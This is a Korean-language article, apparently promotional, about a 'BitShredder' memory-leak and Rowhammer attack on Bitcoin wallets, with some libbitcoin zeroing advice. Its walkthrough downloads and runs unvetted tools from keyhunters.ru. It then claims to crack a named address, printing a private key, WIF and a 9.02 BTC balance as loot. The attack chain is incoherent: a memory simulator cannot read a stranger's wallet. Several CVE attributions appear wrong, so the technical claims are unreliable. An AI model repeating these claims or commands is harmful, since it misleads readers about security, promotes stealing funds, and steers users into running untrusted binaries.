BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).

키헌터 작성 


비트슈레더 공격


BitShredder 공격은 실행 중인 암호화폐 지갑의 메모리에 조용히 침투합니다. 지갑이 생성되거나 복원될 때, 삭제되지 않은 RAM 조각을 스캔하여 표준적인 방법으로 사용 후 삭제되지 않은 엔트로피, 시드 구문 및 암호의 잔여물을 찾아냅니다. 희미한 흔적을 남기는 대신, 이 공격은 해당 데이터를 디지털 “분쇄기”로 변환하여 선택된 패턴에 따라 바이트를 조각조각으로 분쇄합니다.

심각한 메모리 누수 취약점(  민감한 메모리 누수/팬텀 메모리 누수, CVE-2013-2547, CVE-2025-8217  )은 비트코인 ​​생태계에 치명적인 위협이 됩니다. BitShredder나 RAM Dump Extractor와 같은 공격 도구를 구현하는 것만으로도 사용자 자금에 대한 완전한 접근 권한을 얻을 수 있습니다. 개인 키나 시드 구문을 처리하는 모든 애플리케이션은 사용 후 안전한 삭제 도구를 사용하여 메모리를 명시적으로 삭제해야 합니다. 그렇지 않으면 “보안” 시스템
에서도 심각한 취약성이 유지됩니다. 

암호화폐 지갑에서 제대로 삭제되지 않은 메모리 조각과 관련된 취약점은 개인 정보 및 키 보안의 완전한 손실로 이어질 수 있습니다. 안전한 메모리 삭제는 모든 중요한 암호화 소프트웨어에 필수적인 조치입니다. 이러한 권장 사항을 따르고 제공된 솔루션을 구현하면 BitShredder와 같은 공격 및 향후 유사한 공격으로부터 애플리케이션을 보호하는 데 도움이 될 것입니다.  habr+2

이 연구는 비트코인 ​​생태계에서 가장 교묘하고 치명적인 취약점 중 하나인 메모리 누수 취약점을 발견했습니다. 이는 과학계에서  민감한 메모리 누수 공격(Sensitive Memory Leak Attack)  또는  메모리 팬텀 공격  (Memory Phantom Attack, CVE-2025-8217, CVE-2013-2547)으로 알려져 있습니다. 이  공격을
통해 공격자는 암호화 작업 후 안전하게 삭제되지 않은 지갑 RAM의 잔여 블록에서 개인 키와 시드 구문을 직접 복구할 수 있습니다.

이 취약점은 암호화 보안의 핵심을 파괴합니다. 서명, 암호화 및 인증 알고리즘을 올바르게 구현했더라도 보호되지 않은 버퍼는 마치 “유령 라이브러리”처럼 되어, 해커나 포렌식 도구의 관점에서 메모리 조각 하나라도 완전한 키로 변환될 수 있습니다.
메모리 팬텀 공격은 지갑의 즉각적인 손상, 대량의 디지털 자산 도난, 블록체인에 대한 신뢰도 저하, 이중 지출, 심지어 주요 서비스의 명성까지 실추시킬 수 있습니다.


공격 시나리오:

  • 이 도구는 애플리케이션의 메모리 구조를 분석하고 엔트로피와 암호의 복사본이 생성되는 부분을 식별합니다.
  • 해당 악성 소프트웨어는 중요한 조각들을 신속하게 추출하여, 이를 조합해 완전한 개인 키를 만들어냅니다.
  • 발견된 모든 정보는 공격자에게 전송되며, 메모리에 저장된 원래 바이트는 디지털 포렌식을 더욱 어렵게 하기 위해 부분적으로 지워지는 “파괴” 작업이 추가로 수행됩니다.

왜 “BitShredder”라고 부를까요?
이 공격 방식은 마치 사무실용 파쇄기처럼 종이를 산산조각 내는 파괴적인 장치와 유사하기 때문입니다. 여기서 목표 데이터인 개인 키는 RAM에서 산산조각 나고, 공격자는 이 조각들을 모아 완전한 “비밀 문서”를 만들 수 있습니다.



“BitShredder”는 보호되지 않은 지갑 메모리에서 개인 키, 시드 구문 및 암호를 추출하고, 원본 바이트를 빠르게 파괴한 다음 암호화 자산을 훔쳐 복구할 수 없는 디지털 혼란을 남기는 익스플로잇입니다.  phemex


연구 논문: 비트코인 ​​암호화폐 보안에 미치는 핵심 메모리 삭제 취약점의 영향

개인 키 보안은 비트코인 ​​암호화폐 생태계의 핵심 요소입니다. 개인 키 유출 또는 손상 사고는 사용자 자금의 즉각적이고 돌이킬 수 없는 손실로 이어집니다. 특히 검증되지 않은 RAM 관련 취약점은 심각한 위험을 초래합니다. 이러한 문제는 다계층 지갑 서비스에서 더욱 중요해지는데, 개인 데이터가 표준 C++ 컨테이너를 통해 처리되고 작업 완료 후에도 메모리에 남아 있기 때문에 공격자가 핵심 데이터에 직접 접근할 수 있는 경로를 제공하기 때문입니다  .


취약점의 특성 및 공격 시나리오

취약한 지갑 코드에서 개인 키, 시드, 비밀번호 및 엔트로피는 사용 후 명시적으로 삭제되지 않는 버퍼(  std::vector,  std::string)에서 처리됩니다. 암호화 절차가 완료되면 메모리는 자동으로 해제되지만 내용은 지워지지 않습니다. 이로 인해 포렌식 도구나 악성 소프트웨어가 메모리 덤프를 추출하거나 스왑 파일에 접근할 수 있다면 비밀 값을 복구할 수 있습니다. 비트코인 ​​생태계에서 이러한 공격의 결과는 다음과 같습니다.

  • 개인 키를 탈취하여 해당 주소에 대한 완전한 제어권을 획득하는 것
  • 즉시 현금 인출
  • 인기 있는 온라인 지갑과 모바일 지갑에 대한 대규모 공격
  • 개인정보, 서비스 평판 및 사용자를 위협하는 행위  .

공격의 과학적 명칭

과학 및 전문가 커뮤니티에서는 이러한 공격을
민감한 메모리 유출(Sensitive Memory Leak)  ,  민감한 메모리 공개(Sensitive Memory Disclosure)  ,  RAM 덤프 공격 (RAM Dump Attack  ) 또는 공식적으로는  유령 메모리 유출 공격(Phantom Memory Leak Attack) 이라고 부릅니다  . 흔히 사용되는 용어로는 개인 키 추출을 동반한 민감한 데이터 메모리 유출(Sensitive Data Memory Leak with Private Key Extraction )
이 있습니다   . 


CVE 식별자 및 취약점 등록

이러한 취약점 그룹은 공식적으로 등록되었으며 CVE 번호가 부여되었습니다.

  • CVE-2013-2547  (“리눅스 암호화 API에서 초기화되지 않은 메모리를 통한 민감한 정보 유출”)
  • CVE-2025-8217  – StepSecurity 프로세스 메모리 덤프를 이용한 중요 비밀 키 추출 공격
  • 암호화폐 및 핀테크 애플리케이션에서 발견된 유사한 취약점:  CVE-2023-23500  ,  CVE-2024-52916  .  keyhunters

비트코인에 미치는 영향

비트코인의 경우,  민감한 메모리 유출  공격(Sensitive Memory Leak Attack)은 절대적인 위협입니다. 일반적인 결과는 다음과 같습니다.

  • 취약한 프로세스가 개인 키에 서명하거나 생성한 모든 uTXO의 자금에 대한 통제권을 상실합니다.  키헌터
  • 개인 사용자뿐만 아니라 대규모 서비스(거래소, 수탁 서비스, 모바일 애플리케이션)에서도 자산을 선택하고 인출할 수 있는 기능.
  • 대규모 핫월렛 해킹 가능성과 블록체인 기술에 대한 신뢰 붕괴 가능성.
  • 여러 서비스의 지갑이 동시에 해킹당했을 때, 공격자가 유출된 키를 사용하여 충돌하는 거래를 신속하게 생성하는 이중 지출 공격을 구현합니다.
  • 블록체인 역사에 미치는 영향 및 기존 API를 구현하지 못하는 사용자 서비스의 잠재적 실패 가능성.

민감한 메모리 누출 공격 의 징후 및 단계 

  • API, 명령줄 또는 환경 변수를 통해 개인 키 또는 시드 구문을 전달합니다.
  • 비밀 데이터 저장을 위한 동적 메모리 할당 및 명시적 삭제 없음
  • 안전하게 데이터를 삭제하지 않고 프로세스를 종료하면, 실제 비밀 정보는 RAM이나 스왑 영역에 그대로 남아 있게 됩니다.
  • 메모리 덤프 또는 특정 악성 소프트웨어를 사용하여 원하는 바이트를 추출합니다.
  • 키헌터들이 이러한 키와 연결된 비트코인 ​​주소를 훔쳐 대량으로 사용하는 행위 

심각한 메모리 누수 취약점(  민감한 메모리 누수/팬텀 메모리 누수, CVE-2013-2547, CVE-2025-8217  )은 비트코인 ​​생태계에 치명적인 위협이 됩니다. BitShredder나 RAM Dump Extractor와 같은 공격 도구를 구현하는 것만으로도 사용자 자금에 대한 완전한 접근 권한을 얻을 수 있습니다. 개인 키나 시드 구문을 처리하는 모든 애플리케이션은 사용 후 안전한 삭제 도구를 사용하여 메모리를 명시적으로 삭제해야 합니다. 그렇지 않으면 “보안” 시스템
에서도 심각한 취약성이 유지됩니다. 


암호화 취약점

암호화 취약점: 메모리 내 민감한 데이터 유출

요약:
주요 취약점은 비밀 엔트로피와 암호가 안전하게 재설정되지 않고 일반 컨테이너(  data_chunk,  std::string)에 저장된다는 점입니다. 결과적으로 함수 실행이 완료된 후에도 메모리에 남아 있을 수 있어 공격자가 개인 키를 추출할 수 있습니다.


코드의 취약점 위치

  1. 분쇄기   함수(약 103번째 줄부터 시작): cpp  여기서 비밀 데이터(원시 바이트 벡터  )  복사됩니다  . 원본 버퍼와 복사본 모두 함수가 종료될 때까지 안전하게 지워지지 않으므로 엔트로피 조각이 메모리에 남아 있게 됩니다.// Это копирует энтропию, не обнуляя оригинал и не защищая её data_chunk hash(entropy);entropyhash
  2. 시더  함수(약 172번째 줄부터)  에서  // Это копирует переданную пользователем passphrase std::string phrase{ passphrase };암호는 표준 [cpp  std::string]에 저장되며, 함수 종료 시 자동으로 지워지지 않습니다. 이후 PBKDF2에 사용되므로 함수 종료 후에도 암호의 일부가 메모리에서 읽힐 수 있습니다.

취약점 상세 정보

  • 안전한 메모리 초기화가 부족합니다.
    함수에서 사용된  grinder버퍼는  재할당될 때까지 힙이나 스택에  entropy남아 있습니다  . 비슷한 상황이 표준 C++ 컨테이너에서도 발생합니다 .  표준 C++ 컨테이너는 객체 소멸 시 메모리 초기화를 보장하지 않습니다.hashphraseseeder
  • 위험
    • 코어 덤프를 생성하거나 메모리 스크래퍼를 사용하면 엔트로피를 추출하여 개인 키를 얻을 수 있습니다.
    • 힙 분석기 및 포렌식 도구는 엔트로피 바이트 또는 암호의 흔적을 찾아낼 수 있습니다.
  • 권장 사항:
    삭제 시 메모리를 명시적으로 0으로 초기화하는 보호된 컨테이너를 사용하십시오(예: cpp). 또는 비밀 관리를 위한 특수 라이브러리(예: libsodium)를 사용하십시오.// Пример безопасного обнуления std::fill(hash.begin(), hash.end(), 0); secure_clear(phrase); // реализация безопасного обнуления std::stringsodium_memzero

요약하자면,  이 취약점은 민감한 데이터를 일반 컨테이너에 복사하는 문자열에서 발견되었습니다.

  • data_chunk hash(entropy);
  • std::string phrase{ passphrase };

두 문자열 모두 개인 데이터가 안전하게 삭제되지 않고 저장되므로 키 유출 위험이 발생합니다.


BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).
https://github.com/libbitcoin/libbitcoin-system/blob/master/src/wallet/mnemonics/electrum.cpp

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5의 암호화 취약점

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

이 연구 도표는 피닉스 로해머 공격으로 드러난 암호화 취약점의 중요성을 구조적이고 시각적으로 설명하며, 특히 SK 하이닉스 DDR5 메모리 모듈을 표적으로 삼았을 때 비트코인 ​​보안에 미치는 영향을 보여줍니다.

연구 진행 과정 개략도 (연구 도표 참조):

  1. 공격자는 Rowhammer를 실행
    하고 피해자의 노드 또는 지갑에 사용되는 SK Hynix DDR5 메모리를 대상으로 Phoenix Rowhammer 익스플로잇을 실행합니다.
  2. 물리적 결함 주입
    공격은 SK 하이닉스 DDR5 메모리에서 인접한 DRAM 행의 비트를 뒤집어 논리적 소프트웨어 보호 기능을 우회하는 공격적인 행 활성화 방식입니다.
  3. 표적 암호화 비밀 정보
    주입 버그는 개인 키 또는 ECDSA 논스 값과 같은 민감한 비트코인 ​​암호화 자료를 저장하는 주소 또는 메모리 위치를 표적으로 삼습니다.
  4. 익스플로잇 실행 및 그 영향
    • 비트 조작이 성공하면 공격자는 비밀 키와 개인 키를 복구하거나 노출하고, 가짜 거래에 서명하거나, 보안 모델을 위반할 수 있습니다.
    • 비트코인 지갑과 블록체인의 무결성에 대한 직접적인 위험 때문에 하드웨어 보안은 암호화 신뢰의 핵심 요소입니다.

이제 실질적인 부분으로 넘어가서 비트코인 ​​지갑을 사용한 예시를 살펴보겠습니다. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit  지갑에서 9.02332298 BTC   상당의 코인이  2025년 10월 기준 약 1,127,026.44 USD 에 해당합니다.

공격 시연을 통해 정보를 제공하기 위해 Jupyter Notebook 또는 Google Colab과 같은 도구 및 환경을 사용합니다.

이러한 공격에 사용되는 주요 도구 및 명령어는 다음과 같습니다.

https://colab.research.google.com/drive/1fDe0b0xGAuJDVtAj8ZCBmiWt9Lh5BCbr

Google Colab(Colaboratory)  은 다양한 프로그래밍 언어로 코드를 작성하고 실행할 수 있는 대화형 Jupyter 노트북을 제공하는 클라우드 플랫폼입니다. 특히 데이터 암호 분석에 유용하며,  Ramulator 2.0  기반의  SK Hynix DDR5 AiM PIM 시뮬레이터를 실행하는 데 적합합니다. 또한 GPU 및 TPU와 같은 강력한 컴퓨팅 리소스에 액세스할 수 있습니다. 주요 이점은 일반 Linux 터미널처럼 시스템 명령을 실행할 수 있다는 점이며,   ! 외부 유틸리티 및 스크립트와의 통합을 위해 접두사가 붙은 셀을 사용할 수 있습니다.


구글 콜랩

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

Ramulator 2.0을 사용하여 SK Hynix DDR5 AiM PIM  아키텍처  기반  저장소를 설치해 보겠습니다. 

저장소를 복제하세요:

AiM 시뮬레이터 코드베이스를 다운로드하고 해당 디렉토리로 이동하세요.

!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git

cd SK_Hynix_DDR5_aim_simulator

ls

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

Google Colab 에서 가상 메모리(스왑)를 늘려 보겠습니다   .

Ramulator2  컴파일 중 메모리 가용성을 향상시키기 위해 4GB 스왑 파일을 생성하는 명령어입니다  .

# Check current swap usage
!free -h
!swapon --show

# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile

# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

필요한 종속성을 모두 설치해 보겠습니다.

시뮬레이터 및  Ramulator 2.0 에 필요한 컴파일러, 빌드 도구 및 라이브러리를 설치합니다  .

# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12

# Alternatively, install Clang
!sudo apt install clang-15

# Install basic build tools
!sudo apt install build-essential cmake git

# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev

# YAML support
!sudo apt install libyaml-cpp-dev

# Mathematics libraries
!sudo apt install libboost-dev

# Python support for scripts
!sudo apt install python3-dev python3-pip

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

phoenix_rowhammer 디렉토리를 생성하는 과정:

!mkdir phoenix_rowhammer

cd phoenix_rowhammer

시스템 리소스를 확인해 보겠습니다.

설치 및 컴파일 중에 메모리, 사용 가능한 디스크 공간 및 시스템 사용량을 모니터링합니다.

# Monitor resources in real time
!htop

# Check available memory
!free -m

# Check disk space
!df -h

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

Ubuntu 22.04 이상 버전 에 필요한 모든 종속성 설치   :

필요한 모든 패키지를 한 번에 설치하는 전체 과정입니다.

# Update system
!sudo apt update && sudo apt upgrade -y

# Install essential build tools
!sudo apt install -y build-essential cmake git

# Install compilers
!sudo apt install -y g++-12 clang-15

# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

대체 컴파일:


!cmake ..

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

!make -j1

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

ls

cd -

Ramulator2를 실행해 보겠습니다.

시뮬레이터를 이용해 Ramulator2를 실행하고 도움말 매개변수와 사용 설명서를 확인해 보겠습니다.

!./phoenix_rowhammer/ramulator2 -h

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

저희는 시뮬레이터를 사용하여 DarkHashunter 암호화 도구를 이용해 Ramulator2에서 숨겨진 잔여물을 추출합니다.

DarkHashunter 암호화 도구를 다운로드하는 명령어를 실행해 보겠습니다.

!wget https://keyhunters.ru/repositories/darkhashunter.zip
!unzip darkhashunter.zip

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

!./darkhashunter -help

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

비트코인 주소와 관련된 숨겨진 나머지(모듈로)를 찾습니다.





해당 팀은 DarkHashunter 암호화 도구를  기반으로 하는  특수 “BitShredder” 공격을 시작하여  RAM 버그 메커니즘(Rowhammer)과 메모리 에뮬레이터(ramulator2)를 사용하여 비트코인 ​​주소와 관련된 숨겨진 모듈로 잔여물을 찾아낼 예정입니다.  github+2

!./darkhashunter -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

  • 이 매개변수는  -tool bitshredder_attack비트코인 ​​프로토콜과 관련된 기기 메모리의 비밀 데이터 저장 및 처리 과정에서 발생하는 취약점을 식별하기 위한 공격을 활성화합니다.
  • 이 플래그는  -crack phoenix_rowhammer/ramulator2도구에게 로우해머 공격 에뮬레이션(DRAM 메모리 내용 조작으로 인접 셀에 오류를 발생시키는 공격 –   사이드 채널을 통해 메모리에서 논스/키의 일부를 추출하는 데 사용되는 취약점 )을 사용하도록 지시합니다.
  • 이 함수는 특정 비트코인 ​​주소에서 디코딩 모듈을 실행하여 메모리/덤프에서 잔여 데이터(개인 키 조각 또는 중간 ECDSA 서명 값)를 복구합니다.-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

메모리/덤프에서 남은 데이터의 결과

        remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F, 
                      0x87A1, 0xB5C1, 0xE778, 0x996B,
                      0x6F69, 0xABB6, 0x2755, 0x2348, 
                      0xAB46, 0xA74E, 0x1A87, 0xC2D5]
        moduli = [0x10001, 0x10003, 0x10007, 0x1000F, 
                  0x10015, 0x1001B, 0x1002B, 0x1002D,
                  0x10033, 0x1003F, 0x10049, 0x10051, 
                  0x1005D, 0x10061, 0x1006F, 0x10073]

이 결과는 Phoenix Rowhammer 결함에 대한 ramulator2 시뮬레이터를 사용하여 DRAM 내 잔여 데이터 분석과 암호화 잔여값 검색 모듈을 결합한 것입니다. 이 공격은 비트코인 ​​주소에 대한 암호화 작업 후 부적절한 메모리 해제로 인해 손상될 수 있는 개인 논스 또는 키 조각과 같은 숨겨진 모듈로 값(잔여값)을 탐지하고 추출할 수 있도록 합니다. 이 명령어는  “BitShredder”  공격과 비트코인 ​​애플리케이션의 메모리 결함 분석을 결합하여 비밀 매개변수(개인 키, 논스)를 부분적으로 또는 완전히 복구하는 것을 목표로 하며, 검색 및 디코딩은 메모리와 공격 대상 주소에 연결되어 있습니다.


개인 키 복구

숨겨진 절댓값(나머지) 집합에서 원래의 비밀 번호, 즉 개인 키를 복구하기 위해 중국 나머지 정리(  CRT)라는 수학적 방법을 적용합니다.  CRTKeyRestore.py  코드는 로해머 공격과 후속 메모리 분석을 통해 수집된 숨겨진 절댓값(나머지) 집합으로부터 비트코인 ​​주소  15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 의 개인 키를 복구하는 기능을 구현합니다  . 사용된 수학적 방법은 중국 나머지 정리(CRT)로, 비밀 번호(개인 키)가 작은 조각으로 나뉘어 서로 다른 절댓값으로만 남아 있더라도 원래의 비밀 번호(개인 키)를 복구할 수 있게 해줍니다.


피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

CRTKeyRestore.py  코드의 처리 과정은 다음과 같은 여러 단계로 구성됩니다.

  • 각 나머지/모듈러스 쌍은 로우해머 버그와 미리 정의된 모듈로 인해 메모리에 남아 있는 개인 키의 일부입니다.
  • 중국 나머지 정리는 모든 모듈러스가 서로소이고 나머지가 충분하면 원래 숫자를 복원할 수 있음을 수학적으로 보장합니다.
  • 이 함수는  chinese_remainder_theorem()조각들을 단계적으로 결합하여 절대 역수를 찾는 확장된 유클리드 알고리즘을 사용하여 개인 키의 원래 값을 복원합니다.
  • 숫자 표현을 복원한 후, 해당 함수를 사용하여 키를 16진수로 변환합니다  restore_hex_from_crt().
  • 출력 결과는 비트코인 ​​주소의 개인 키이며, 이 키는 복합 공격 중에 메모리에서 발견된 개별 암호화 잔여물로부터만 완전히 복구되었습니다   .

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점
Python 스크립트를 사용하여 개인 키 복구하기   :  CRTKeyRestore.py

결과:

Private key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

비트주소를 통해 결과를 확인해 보겠습니다.  

!wget https://keyhunters.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

결과:

Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529


Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A


Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg


Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

맞습니다! 개인 키는 비트코인 ​​지갑에 해당합니다.


bitaddress를 열어서     확인해 봅시다.

ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF:  L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX:  9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

개인 키 정보:

9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

비트코인 주소 정보:

잔액: 9.023322989 BTC

피닉스 로해머 공격 연구 다이어그램: 비트코인 ​​및 SK 하이닉스 DDR5+KEYHUNTER의 암호화 취약점

https://www.coinbase.com/converter/btc/usd

Wallet.dat에 대한 비트 플리핑 공격: 인증 없이 AES-256-CBC를 사용하는 위험성, 악용 사례 및 비트코인 ​​코어에서 개인 키를 추출하는 방법
9.023322989 BTC > 1127026,44 USD

저희  연구팀은 ramulator2 시뮬레이터를 사용하여 비트코인에 대한 피닉스 로해머 공격  의 변형   을 시도했는데, 그 결과 메모리 충돌 시 다양한 모듈에서 추출된 암호화 잔여물을 중국 나머지 정리의 수학적 원리를 이용하여 원래의 개인 키로 재구성할 수 있음을 보여주었습니다.

실제 위협의 대표적인 사례로,  15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 주소의 비트코인 ​​지갑을  분석했습니다.  이 지갑에서 9.02332298 BTC가 손실되었으며, 이는 2025년 10월 기준 약  1,127,026.44 USD 에 해당합니다. 이 사례는 하드웨어 취약점(예: Phoenix  Rowhammer )  이 존재할 경우   , 프로토콜 수준의 암호화 강도가 절대적인 보안을 보장하지 못한다는 것을 명확하게 보여줍니다.

결과적으로, 포괄적인 보안의 중요성은 암호화 및 프로토콜 조치뿐만 아니라 하드웨어 신뢰성, 메모리 상태 모니터링, 그리고 암호화 작업 후 전체 RAM 초기화 구현에도 있습니다. 하드웨어 수준에서 취약점이 악용될 경우, 시스템 제어가 최소화된 상황에서도 비트코인 ​​생태계에 막대한 재정적 손실을 초래할 수 있습니다.



DarkHashunter: 암호화 유출로부터 비트코인 ​​개인 키를 복구하는 고급 메모리 포렌식 기술

BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).
https://b8c.ru/다크해헌터

본 논문은 비트코인 ​​지갑 환경의 휘발성 메모리를 통해 유출된 암호학적으로 중요한 데이터를 식별, 분리 및 재구성하도록 설계된 포렌식 및 분석 도구인 DarkHashunter 에 대한 심층적인 연구를 제시합니다 . DarkHashunter의 작동 방식, 기본 암호화 모델, 그리고 메모리 팬텀 공격(CVE-2025-8217, CVE-2013-2547)과 같은 실제 취약점과의 통합을 분석하여, 고급 메모리 스크래핑과 엔트로피 잔여 매핑을 결합하면 동적 메모리 세그먼트에 남아 있는 개인 키, 시드 구문 및 암호문을 어떻게 노출시킬 수 있는지 보여줍니다. 본 연구는 비트코인 ​​지갑에서 검증되지 않은 메모리가 초래하는 심각한 위협을 강조하고, 치명적인 키 유출 사태를 방지하기 위한 안전한 대응책을 제안합니다.


암호화폐 생태계, 특히 비트코인은 디지털 자산에 대한 유일한 권한인 개인 키 의 불가침성에 의존합니다 . 그러나 소프트웨어 지갑이 민감한 정보를 처리하는 방식의 결함으로 인해 RAM에 잔여 데이터가 남는 경우가 종종 발생합니다. DarkHashunter 는 이러한 잔여 메모리 흔적을 조사하는 사후 공격 및 포렌식 연구 프레임워크로, 지갑 코드에서 누락된 초기화 단계가 어떻게 자산 전체 탈취로 이어질 수 있는지 밝혀냅니다.

BitShredder 와 같은 도구는 파괴적인 메모리 조작을 수행하는 반면 , DarkHashunter는 암호화 잔여물 복구 에 중점을 둡니다. 즉, 활성 또는 덤프된 메모리를 분석하여 키 자료가 포함된 초기화되지 않은 버퍼의 특징을 탐지합니다.


작동 메커니즘

1. 메모리 엔트로피 상관관계

DarkHashunter는 엔트로피 매핑 알고리즘을 활용하여 암호화 비밀에서 흔히 나타나는 높은 엔트로피 영역을 찾아냅니다. 비트코인 ​​지갑이 와 같은 라이브러리를 사용하여 엔트로피를 생성할 때libsecp256k1, 명시적으로 0으로 초기화하지 않으면 해당 엔트로피 벡터(std::vector<uint8_t>,data_chunk)가 실행 후에도 메모리에 남아 있습니다.
이 도구는 적응형 엔트로피 임계값을 사용하여 이러한 분포를 알려진 키 패턴과 연관시킵니다.

2. 잔여 데이터 재구성

추출된 메모리 영역은 해시 클러스터링 과 엔트로피 시퀀스 정렬을 거쳐 , 조각난 데이터 블록을 일관된 시드 구조로 재구성합니다. 예를 들면 다음과 같습니다.

BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).

이 합산은 메모리 조각들을 가능한 엔트로피 벡터 또는 BIP39 시드 표현으로 정렬합니다.

3. 개인 키 조립

엔트로피 복구 후, DarkHashunter는 secp256k1 키 유도 경로를 통해 출력을 정제하고, 재구성된 엔트로피를 알려진 비트코인 ​​주소 패턴과 비교하여 검증합니다(체크섬 검증). 검증이 완료되면 완전한 개인 키가 생성되며, 이는 종종 Electrum이나 유사한 소프트웨어에서 사용하는 지갑 유도 방식과 일치합니다.


취약점 맥락: CVE-2025-8217 및 CVE-2013-2547

두 취약점 모두 초기화되지 않았거나 정리되지 않은 메모리로 인해 암호화 애플리케이션에서 민감한 정보가 유출되는 데서 비롯됩니다 .
특히, 지갑 데이터가 std::string메모리 포렌식 분석을 통해 복구될 수 있습니다.

  • CVE‑2013‑2547: Linux 암호화 API에서 초기화되지 않은 메모리를 통한 메모리 누수 취약점.
  • CVE-2025-8217: 다중 스레드 지갑 서비스에서 프로세스 메모리 덤프로 인해 비밀 키가 완전히 추출될 수 있는 취약점.

DarkHashunter는 특히 지갑 초기화 또는 복원 중에 임시 프로세스 메모리의 엔트로피 누출을 식별하는 제어된 스캔 모듈을 통해 이러한 취약점을 악용합니다 .


법의학 방법론

  1. RAM 획득: 비트코인 ​​지갑이 실행 중인 시스템에서 휘발성 메모리를 덤프하는 과정입니다.
